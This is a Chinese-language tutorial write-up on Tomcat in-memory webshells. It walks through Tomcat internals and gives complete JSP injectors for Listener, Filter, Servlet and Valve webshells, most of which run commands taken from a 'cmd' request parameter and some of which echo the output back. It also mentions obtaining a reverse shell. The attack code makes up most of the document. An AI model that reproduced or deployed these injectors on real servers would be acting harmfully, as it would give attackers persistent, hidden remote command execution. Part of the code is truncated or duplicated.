Java Tomcat内存马探究
Tomcat版本9.0.96
内存马的分类
传统web应用型内存马
Servlet->动态注册servlet及映射路由
filter->动态注册filter及映射路由
Listener->动态注册Listener
框架内存马
Spring Controller->动态注册Controller及映射路由
Spring Interceptor->动态注册Interceptor及映射路由
Spring WebFlux->动态注册WebFlux及映射路由
中间件型内存马
Tomcat Valve->动态注册Valve
Tomcat Upgrade->动态注册Upgrade
Tomcat Executor->动态替换全局Executor
Tmocsat Poller->动态替换全局Poller
Grizzly Filter->动态注册Grizzly Filter及映射
其他内存马
WebSocker->动态注册ebSocker路由及处理逻辑
Tomcat JSP->动态注册Tomcat JSP管理逻辑并实现驻留
线程型内存马->动态添加一个人无法杀死的线程
RMI型内存马->鼎泰启动一个RMI Registry
Agent型内存马
Agent型内存马->通过Hook并此添加恶意逻辑
利用Java Web组件
利用Servlet、Filter、Listener实现内存马,我们需要两个条件,一是动态创建对象,二是能将创建的对象注册到HTTP的处理流中生效。
Tomcat启动加载的顺序:Listener -> Filter -> Servlet
前置步骤遇到的问题
已经配置了tomcat但是import javax.servlet.http.HttpServletResponse;报错,
idea的解决办法:


Listener 内存马
Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。
在应用中可能调用的监听器如下:
- ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
- ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
- ServletRequestListener:对 Request 请求进行监听(创建、销毁)
- ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
- javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
- javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
最合适的是ServletRequestListener接口,只要访问Servlet的任何资源都会触发这个监听器提供了两个方法在request请求创建和销毁时进行处理,比较适合我们打内存马

他提供两个方法requestDestroyed、requestDestroyed,两个方法均接ServletRequestEvent 作为参数,ServletRequestEvent 中又储存了 ServletContext 对象和 ServletRequest 对象,因此在访问请求过程中我们可以在 request 创建和销毁时实现自己的恶意代码,完成内存马的实现。

创建listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import javax.servlet.ServletRequest; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import javax.servlet.annotation.WebListener; import java.io.IOException;
@WebListener public class ListenerDemo implements ServletRequestListener { @Override public void requestDestroyed (ServletRequestEvent sre) { System.out.println("requestDestroyed"); }
@Override public void requestInitialized (ServletRequestEvent sre) { ServletRequest servletRequest = sre.getServletRequest(); String cmd = servletRequest.getParameter("cmd"); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException(e); } } } }
|
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<listener> <listener-class>ListenerDemo</listener-class> </listener> </web-app>
|
ServletRequestListener 用于监听 ServletRequest 对象的创建和销毁。注册 ServletRequestListener 后,每次请求发生时都会调用 requestInitialized() 方法。而我们可以从requestInitialized()方法的参数ServletRequestEvent中获取本次请求的ServletRequest对象。所以我们可以在requestInitialized()方法中添加恶意代码。
由于我们默认无法在ServletRequestListener中获取HttpServletResponse对象,如果我们想要得到命令执行的回显,我们需要在实现ServletRequestListener的自定义类中定义一个自定义构造函数,并将HttpServletResponse作为参数传递给它
运行效果

无论是存在的页面还是不存在的页面都能执行

而我们执行需要回显的命令时是无法看到的

既然实现了命令执行,那么就需要做到回显,打断点调试查看逻辑

跟进查看代码逻辑

查看堆栈可以定位到StandardContext;#listenerStart;()方法,对Listener 进行了实例化

listener从findApplicationListeners()方法中获取

findApplicationListeners()是用来获取applicationListeners属性的,而其中就是存放listener名字
通过上面我们就可以知道注册的Listener 名字存放在applicationListeners数组中(名字是从web.xml中获取的) findApplicationListeners 函数取出内容并进行实例化,并存储到result中。
跟进:

指向方法,ctrl加鼠标点击跟进查看具体的方法

然后调用了setApplicationEventListeners;来进行设置,可以看到方法会先清空applicationEventListenersList; ,所以上面重新取出来进行赋值,然后将获取的数组全部进行传入。


可以看到List
查看第二个断点看到调用了requestInitialized(event);;这个listener 就是调用的恶意的Listener实例,可以看到是通过遍历instances数组,而instances数组就是通过getApplicationEventListeners; 来进行获取的值,所以我们内存马只需要添加到这个数组就可以了。


通过动态调试我们可以清楚的看到ApplicationContextFacade和StandardContext的关系
由于ApplicationContextFacade中的成员变量context是私有的,而ApplicationContext中的成员变量context也是私有的,所以我们应该使用反射机制
内存马(用现成的了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! class ListenerTest implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { String cmd = req.getParameter("cmd"); if (cmd != null) { Field field = req.getClass().getDeclaredField("request"); field.setAccessible(true); Request request = (Request) field.get(req); Response response = request.getResponse(); InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int a = -1; while ((a = in.read(bytes)) != -1) { baos.write(bytes, 0, a); } response.getWriter().write(new String(baos.toByteArray())); } } catch (Exception e) { e.printStackTrace(); } } } %> <% Field field = request.getClass().getDeclaredField("request"); field.setAccessible(true); Request req = (Request) field.get(request); StandardContext standardContext = (StandardContext) req.getContext(); ListenerTest listenerTest = new ListenerTest(); standardContext.addApplicationEventListener(listenerTest); %>
|
执行成功

Filter型内存马
Filter是链式调用执行的,Filter会在访问不Web资源之前被执行,而且定义Filter时可以根据访问的路径来设置,相对来说更灵活
创建Java文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException;
@WebFilter("/*") public class FilterDemo implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("init......"); }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if(cmd != null){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { throw new RuntimeException(e); } } chain.doFilter(request, response); }
@Override public void destroy() { System.out.println("destroy..."); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<filter> <filter-name>Filter</filter-name> <filter-class>FilterDemo</filter-class> </filter> <filter-mapping> <filter-name>Filter</filter-name> <url-pattern>
|
同样可以弹出计算器但是命令无回显
我们每个请求都会触发#doFilter()方法,在这里下断点

跟进

Filter的流程相对Listener来说更麻烦,StandardContext并没有类似addFilter的方法,上面我们也提到了Filter是链式调用,所以接受的是一个FilterMap,还需要利用FilterMap把我们的恶意类包装起来
首先找到filters属性的定义看他的类型

往上一步看是如何构建ApplicationFilterConfig类的

ApplicationFilterFactory的createFilterChain方法创建了ApplicationFilterChain类

如上图的代码所示,所有的过滤信息都是通过context.findFilterMaps() 获得的,FilterMap 对象包含了Filter的所有信息,包括filterName和 urlPatterns
ApplicationFileConfig 的结构如下图

filterDef这两项配置对应的恰好就说注册表里面的配置
1 2 3 4
| <filter> <filter-name></filter-name> <filter-class></filter-class> </filter>
|
最后,回到 StandardWrapperValue#invoke() ,filterChain 开始执行每个Filter的doFilter()方法

整个过程的逻辑
1 2 3 4 5
| 1. filterChain = new ApplicationFilterChain(); 创建一个ApplictionFilterChain对象 2. StandardContext context = (StandardContext) wrapper.getParent(); 获取当前进程Context 3. FilterMap filterMaps[] = context.findFilterMaps(); 通过Context获取所有过滤器 4. ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName()); 获取filterConfig 5. filterChain.addFilter(filterConfig); 添加过滤器
|
整个步骤:
1.获取ServletContext
1 2 3 4
| Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request requestImp = (Request) requestField.get(request); StandardContext standardContext = (StandardContext)requestImp.getContext();
|
2.设置FilterDef
1 2 3 4 5
| FilterDef filterDef = new FilterDef(); filterDef.setFilterName("ServletFilter"); filterDef.setFilterClass(servletFilter.getClass().getName()); filterDef.setFilter(servletFilter); standardContext.addFilterDef(filterDef);
|
3.设置FilterMap
1 2 3 4 5
| FilterMap filterMap = new FilterMap(); filterMap.setFilterName(servletFilter.getClass().getName()); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap);
|
4.包装
1 2 3 4 5 6 7 8
| Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); applicationFilterConfigConstructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = applicationFilterConfigConstructor.newInstance(standardContext, filterDef);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map filterConfigs = (Map) filterConfigsField.get(standardContext); filterConfigs.put("ServletFilter", applicationFilterConfig);
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <%@ page import="java.io.InputStream" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%-- 基于Tomcat的Filter型内存Webshell --%> <%! public class FilterDemo implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException { }
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException { try { ServletOutputStream out = response.getOutputStream(); String cmds = request.getParameter("cmd"); if (cmds != null) { InputStream in = Runtime.getRuntime().exec(cmds.split(" ")).getInputStream(); StringBuilder sb = new StringBuilder(); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String line = null; while((line = br.readLine()) != null) { sb.append(line).append("\n"); } if (sb.length() > 0) { out.print("<pre>"); out.write(sb.toString().getBytes()); out.print("</pre>"); out.flush(); out.close(); } } } catch (Exception e) { e.printStackTrace(); }
filterChain.doFilter(request, response); }
@Override public void destroy() {
} } %> <% ServletContext servletContext = request.getServletContext(); ApplicationContextFacade appCtxFacade = (ApplicationContextFacade)servletContext; Field appCtxField = ApplicationContextFacade.class.getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext)appCtxField.get(appCtxFacade); Field stdCtxField = ApplicationContext.class.getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);
FilterDemo filterDemo = new FilterDemo(); FilterDef filterDef = new FilterDef(); filterDef.setFilterClass("FilterDemo"); filterDef.setFilterName(filterDemo.getClass().getName()); filterDef.setFilter(filterDemo); stdCtx.addFilterDef(filterDef); stdCtx.filterStart(); FilterMap filterMap = new FilterMap(); filterMap.setFilterName(filterDemo.getClass().getName()); filterMap.setDispatcher("REQUEST"); filterMap.addURLPattern("/*"); stdCtx.addFilterMap(filterMap); FilterMap[] filterMaps = stdCtx.findFilterMaps(); FilterMap[] tmpFilterMaps = new FilterMap[filterMaps.length]; int idx = 1; for (int i = 0; i < filterMaps.length; i++) { FilterMap tmpFilter = filterMaps[i]; if (tmpFilter.getFilterName().equalsIgnoreCase(filterDemo.getClass().getName())) { tmpFilterMaps[0] = tmpFilter; } else { tmpFilterMaps[idx++] = tmpFilter; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } out.println("injected!"); %>
|

Servlet型内存马
Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。
正常的定义Servlet的流程:
(1) 自定义Servlet类;
(2) 在web.xml中注册该Servlet类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException;
@WebServlet("/ServletShell") public class ServletDemo implements Servlet { @Override public void init(ServletConfig config) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); Runtime.getRuntime().exec(cmd); }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet> <servlet-name>servlet</servlet-name> <servlet-class>ServletDemo</servlet-class> </servlet> <servlet-mapping> <servlet-name>servlet</servlet-name> <url-pattern>/servlet/servlet</url-pattern> </servlet-mapping> </web-app>
|

这个试了一下不知道为什么打不了断点,就大概了解了一下原理流程
1.init(),初始阶段,只被调用一次,也是第一次创建Servlet时被调用
2.service(),服务阶段。处理客户请求,doGet(),doPost()等
3.doGet(),doPost()处理阶段
4.destory(),销毁阶段
关键代码
1 2 3 4 5
| Wrapper wrapper = context.createWrapper(); wrapper.setName(servlet.getServletName()); wrapper.setServletClass(servlet.getServletClass()); context.addChild(wrapper); context.addServletMappingDecoded(entry.getKey(), entry.getValue());
|
内存马的注入代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <%@ page import="javax.servlet.annotation.WebServlet" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%! @WebServlet(name = "ServletServlet", value = "/ServletServlet") public class ServletServlet extends HttpServlet { @Override public void init(ServletConfig config) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); Runtime.getRuntime().exec(cmd); }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} } %>
<% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request requestImp = (Request) requestField.get(request); StandardContext context = (StandardContext) requestImp.getContext();
Wrapper wrapper = context.createWrapper(); wrapper.setName("ServletServlet"); wrapper.setServletClass(ServletServlet.class.getName()); wrapper.setServlet(new ServletServlet()); context.addChild(wrapper); context.addServletMappingDecoded("/ServletServlet", "ServletServlet"); %>
|
遇到个问题,内存马应该是打进去了,但是会在里面创建一个同名的变量,就会报错重名?睡醒再说
首先要访问这个jsp文件触发构造内存马,之后访问/ServletServlet即可触发

无回显的就搞了一下反弹shell

前面的两种都是任意路由都可以打,但是这个要访问设置的固定路由,不利于隐藏
vlave型内存马
Tomcat有四大组件,分别是Engine,Host,Context,Wrapper。这四个之间的消息传递与沟通离不开Valve(阀门)与Pipeline(管道)
1 2 3 4 5 6 7 8 9
| public interface Valve { public Valve getNext(); public void setNext(Valve valve); public void backgroundProcess(); public void invoke(Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported(); }
|
前面两个漏洞一路扒下来就会发现,Tomcat的调用过程中一定会调用到valve.invok,只要我们实现这个接口并且构造恶意代码就可以实现rce
构造恶意value实现类并加入到调用链中,这就需要用到Pipline
1 2 3 4 5 6 7 8
| public interface Valve { public Valve getNext(); public void setNext(Valve valve); public void backgroundProcess(); public void invoke(Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported(); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <%@ page import="org.apache.catalina.Valve" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Pipeline" %>
<%! public class ServletValve implements Valve { private Valve next; @Override public Valve getNext() { return next; } @Override public void setNext(Valve valve) { this.next = valve; } @Override public void backgroundProcess() { } @Override public void invoke(Request request, Response response) throws IOException, ServletException { try { Runtime.getRuntime().exec("calc"); this.getNext().invoke(request, response); } catch (IOException e) { throw new RuntimeException(e); } } @Override public boolean isAsyncSupported() { return false; } } %>
<% Field requestField = request.getClass().getDeclaredField("request"); requestField.setAccessible(true); Request requestImp = (Request)requestField.get(request); StandardContext standardContext = (StandardContext)requestImp.getContext();
Pipeline pipeline = standardContext.getPipeline(); pipeline.addValve(new ServletValve()); %>
|
访问两次,第二次触发
参考文章:
https://blog.csdn.net/qq_64201116/article/details/136774996
https://blog.csdn.net/mole_exp/article/details/123893144
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/idg1sfu19gbiik29
语雀文档ID: 188065550